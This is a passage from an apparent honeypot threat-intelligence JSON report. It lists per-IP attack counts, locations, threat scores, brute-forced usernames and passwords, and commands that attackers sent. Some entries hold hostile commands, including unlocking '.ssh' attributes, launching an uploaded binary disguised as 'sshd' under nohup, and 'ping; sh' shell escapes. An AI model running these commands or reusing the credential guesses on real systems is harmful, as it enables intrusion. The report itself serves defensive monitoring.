        "Cowrie": 68,
        "Suricata": 36
      }
    },
    "14.18.88.70": {
      "attack_count": 62,
      "first_seen": "2026-04-06T03:51:39.509Z",
      "last_seen": "2026-04-06T04:56:25.330Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "erfan",
        "frappe",
        "postgres",
        "rdpuser",
        "test",
        "tp",
        "ubuntu"
      ],
      "passwords_attempted": [
        "0123456789",
        "123456",
        "Admin1234%",
        "Bd123456",
        "Frappe8",
        "admin#",
        "erfan",
        "postgres@",
        "qwerty123",
        "tp"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T03:51:39.509000+00:00",
        "last_seen_30d": "2026-04-06T05:03:59.545000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 40
      }
    },
    "103.203.46.128": {
      "attack_count": 50,
      "first_seen": "2026-04-30T11:39:58.886Z",
      "last_seen": "2026-04-30T11:45:24.380Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 140900,
      "as_org": "Getlinks SMC-Private Limited",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:39:58.886000+00:00",
        "last_seen_30d": "2026-04-30T11:46:31.039000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "148.72.244.204": {
      "attack_count": 42,
      "first_seen": "2026-04-30T21:56:42.520Z",
      "last_seen": "2026-04-30T22:02:17.426Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:56:42.520000+00:00",
        "last_seen_30d": "2026-04-30T22:03:26.477000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 23
      }
    },
    "157.230.104.231": {
      "attack_count": 42,
      "first_seen": "2026-04-27T17:09:26.826Z",
      "last_seen": "2026-04-27T17:09:30.199Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Connection: close"
      ],
      "commands_executed": [
        "Connection: close",
        "User-Agent: Go-http-client/1.1",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 5.0,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 6,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T14:43:55+00:00",
        "last_seen_30d": "2026-04-29T22:10:13.058000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Cowrie": 42,
        "Honeytrap": 24
      }
    },
    "165.245.166.253": {
      "attack_count": 35,
      "first_seen": "2026-04-25T19:06:13.392Z",
      "last_seen": "2026-04-25T19:21:04.153Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "mapr",
        "node",
        "ps",
        "svn",
        "svn-cmu",
        "validator"
      ],
      "passwords_attempted": [
        "123456",
        "mapr",
        "node",
        "svn",
        "svn-cmu",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sandston",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T19:04:46.825000+00:00",
        "last_seen_30d": "2026-04-25T19:22:12.868000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 18
      }
    },
    "217.216.90.71": {
      "attack_count": 35,
      "first_seen": "2026-04-10T15:41:06.765Z",
      "last_seen": "2026-04-11T16:15:55.274Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!2026kelltech",
        ".123kelltech",
        "kelltech$2025",
        "kelltech.2025",
        "kelltech2026.",
        "kelltech@1",
        "kelltech@2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orangeburg",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:41:06.765000+00:00",
        "last_seen_30d": "2026-04-11T16:16:56.969000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "172.94.9.56": {
      "attack_count": 33,
      "first_seen": "2026-04-10T10:37:41.606Z",
      "last_seen": "2026-04-15T15:36:13.955Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "shuf"
      ],
      "passwords_attempted": [
        " 'CEM-*': No such file or directory",
        "Kelltech@1234",
        "Kelltech@2019",
        "Kelltech@2023",
        "kelltech!1",
        "kelltech!1234"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T10:37:41.606000+00:00",
        "last_seen_30d": "2026-04-15T15:37:24.056000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 18
      }
    },
    "94.243.8.185": {
      "attack_count": 30,
      "first_seen": "2026-04-04T23:01:58.207Z",
      "last_seen": "2026-04-04T23:05:27.229Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T23:01:58.207000+00:00",
        "last_seen_30d": "2026-04-04T23:06:34.594000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "172.94.9.57": {
      "attack_count": 28,
      "first_seen": "2026-04-10T11:25:18.797Z",
      "last_seen": "2026-04-15T15:44:59.033Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "R00t123!",
        "kelltech!2021",
        "kelltech!2023",
        "kelltech!2026",
        "kelltech!@#123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:25:18.797000+00:00",
        "last_seen_30d": "2026-04-15T15:46:08.602000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "116.41.81.52": {
      "attack_count": 27,
      "first_seen": "2026-04-08T07:20:46.723Z",
      "last_seen": "2026-04-08T07:21:50.684Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "useradmin",
        "zyfwp"
      ],
      "passwords_attempted": [
        "admin",
        "#xTaaA8j",
        "0000",
        "1111",
        "CalVxePV1! ",
        "admin1",
        "root",
        "useradmin123",
        "zyad5001"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongdong-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T07:20:46.723000+00:00",
        "last_seen_30d": "2026-04-08T07:22:52.762000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 3
      }
    },
    "84.36.90.175": {
      "attack_count": 27,
      "first_seen": "2026-04-24T05:44:23.971Z",
      "last_seen": "2026-04-24T05:46:46.927Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "orangepi",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T05:44:23.971000+00:00",
        "last_seen_30d": "2026-04-24T05:47:55.329000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 16,
        "Honeytrap": 2
      }
    },
    "111.228.57.234": {
      "attack_count": 25,
      "first_seen": "2026-04-05T16:50:14.768Z",
      "last_seen": "2026-04-05T16:50:29.851Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:50:14.768000+00:00",
        "last_seen_30d": "2026-04-05T16:51:36.458000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "41.69.167.220": {
      "attack_count": 24,
      "first_seen": "2026-04-24T20:28:48.098Z",
      "last_seen": "2026-04-24T20:49:21.499Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Alexandria",
      "asn": 24835,
      "as_org": "RAYA Telecom - Egypt",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T20:28:48.098000+00:00",
        "last_seen_30d": "2026-04-24T20:50:29.639000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 15
      }
    },
    "209.38.241.68": {
      "attack_count": 22,
      "first_seen": "2026-04-27T19:21:49.165Z",
      "last_seen": "2026-04-27T19:22:03.887Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-27T19:21:49+00:00",
        "last_seen_30d": "2026-04-27T19:23:12.163000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "95.85.245.170": {
      "attack_count": 21,
      "first_seen": "2026-04-11T00:53:59.675Z",
      "last_seen": "2026-04-18T20:05:01.867Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 209693,
      "as_org": "Oc Networks Limited",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T00:53:59.675000+00:00",
        "last_seen_30d": "2026-04-18T20:06:32.433000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 17
      }
    },
    "156.225.31.25": {
      "attack_count": 20,
      "first_seen": "2026-04-03T05:11:38.055Z",
      "last_seen": "2026-04-03T05:16:55.067Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T05:11:38.055000+00:00",
        "last_seen_30d": "2026-04-03T11:17:58.546000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 16,
        "Tanner": 1
      }
    },
    "14.154.44.243": {
      "attack_count": 18,
      "first_seen": "2026-04-24T06:08:37.266Z",
      "last_seen": "2026-04-24T06:10:40.450Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T06:08:37.266000+00:00",
        "last_seen_30d": "2026-04-24T06:11:42.668000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "5.129.238.185": {
      "attack_count": 17,
      "first_seen": "2026-04-28T17:25:50.391Z",
      "last_seen": "2026-04-28T17:28:10.474Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "sshd",
        "test"
      ],
      "passwords_attempted": [
        "admin",
        "sshd",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T17:25:50.391000+00:00",
        "last_seen_30d": "2026-04-28T17:39:11.409000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 9
      }
    },
    "2.26.81.183": {
      "attack_count": 15,
      "first_seen": "2026-04-16T11:15:25.816Z",
      "last_seen": "2026-04-18T05:11:36.967Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:06:32.959000+00:00",
        "last_seen_30d": "2026-04-18T05:12:43.754000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 14
      }
    },
    "61.243.65.86": {
      "attack_count": 15,
      "first_seen": "2026-04-13T19:12:57.106Z",
      "last_seen": "2026-04-13T19:13:02.334Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T19:12:57.106000+00:00",
        "last_seen_30d": "2026-04-13T19:14:07.614000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "103.203.88.233": {
      "attack_count": 14,
      "first_seen": "2026-04-18T13:08:58.589Z",
      "last_seen": "2026-04-18T13:10:35.133Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 131275,
      "as_org": "Logon Broadband Pvt. Limited",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T13:08:58.589000+00:00",
        "last_seen_30d": "2026-04-18T13:11:40.430000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "131.186.50.157": {
      "attack_count": 14,
      "first_seen": "2026-04-21T03:59:54.257Z",
      "last_seen": "2026-04-21T04:02:23.111Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [
        "chmod +x ./.264872327213013323/sshd;nohup ./.264872327213013323/sshd  &"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Gazipur",
      "asn": 54253,
      "as_org": "Oracle Corporation",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T03:59:54.257000+00:00",
        "last_seen_30d": "2026-04-21T04:03:32.633000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 6
      }
    },
    "187.189.23.176": {
      "attack_count": 14,
      "first_seen": "2026-04-26T18:27:19.619Z",
      "last_seen": "2026-04-26T18:58:01.552Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Chihuahua City",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:27:19.619000+00:00",
        "last_seen_30d": "2026-04-26T18:59:02.719000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "66.132.195.65": {
      "attack_count": 12,
      "first_seen": "2026-04-04T00:38:45.239Z",
      "last_seen": "2026-04-08T07:08:22.930Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 26,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-02T14:30:54+00:00",
        "last_seen_30d": "2026-04-27T14:36:20.658000+00:00",
        "days_since_last_seen": 3
      },
